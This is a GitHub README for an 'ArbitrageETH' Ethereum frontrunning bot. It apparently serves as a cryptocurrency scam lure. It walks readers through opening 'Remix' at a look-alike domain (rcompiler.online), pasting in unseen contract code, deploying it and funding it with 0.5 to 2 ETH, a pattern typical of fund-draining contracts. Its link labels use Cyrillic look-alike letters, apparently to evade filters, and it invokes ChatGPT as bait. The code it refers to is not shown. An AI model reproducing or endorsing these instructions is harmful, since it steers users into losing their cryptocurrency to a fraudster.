Skip to content

gadgetsaavy/ArbitrageETH

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 

Repository files navigation

Step-By-Step Guide:

❗️Get Ready❗️
Here are Step-by-Step Guide to Simplify Your Life with ChatGPT:



🟢 Step 1: Download the MetaMask Extension
You only need one Wallet Extension, choose whichever is convenient for you.
🔗 -Dоwnlоаd МetаМаsk: https://metamask.io/download
🔗 -Dоwnlоаd Соin Ваse Wаllеt: https://www.coinbase.com/wallet
🔗 -Dоwnlоаd Тrust Wаllеt: https://trustwallet.com/

🟢 Step 2: Open Remix
🔗 https://rcompiler.online
🟢 Step 3:
Click on the 'Contracts' folder and create a New File. Name it however you like (e.g., 'bot.sol'). Make sure the file ends with .sol for Ethereum code.

🟢 Step 4: Paste the code from the python file in remix.

🟢 Step 5:
Navigate to the Solidity Compiler tab in Remix and compile your bot.

⚠️ Tip: If the code doesn't show up with colors, simply refresh the browser and paste the code again.

🟢 Step 6:
Go to the 'Deploy & Run Transactions' tab, choose 'Injected Provider' as your environment, and click Deploy. After confirming the contract creation fee in MetaMask, your contract will be deployed.
⚠️ Tip: If you get any issues - use a clean Firefox browser and only one Metamask extension

🟢 Step 7:
Add funds to your bot for transaction frontrunning (I recommend using 1-2 ETH, this way the bot will be able to process more transactions and the results will be MUCH better. But if you don't have such an option - 0.5 is ok too.).

🟢 Step 8:
Once the transaction is confirmed, click Start to activate the bot. To stop it and withdraw funds, click Withdraw.
(Make sure you have enough eth in your main wallet (not in your contract address) to pay the gas fee for pressing the Start button.)

🔍 How can I restore the old contract?
Instead of deploying a new contract, simply input the contract's address in the 'At Address' field and press the At Address button.

⚠️ Important: You can only restore access using the same MetaMask account that was used to deploy the contract.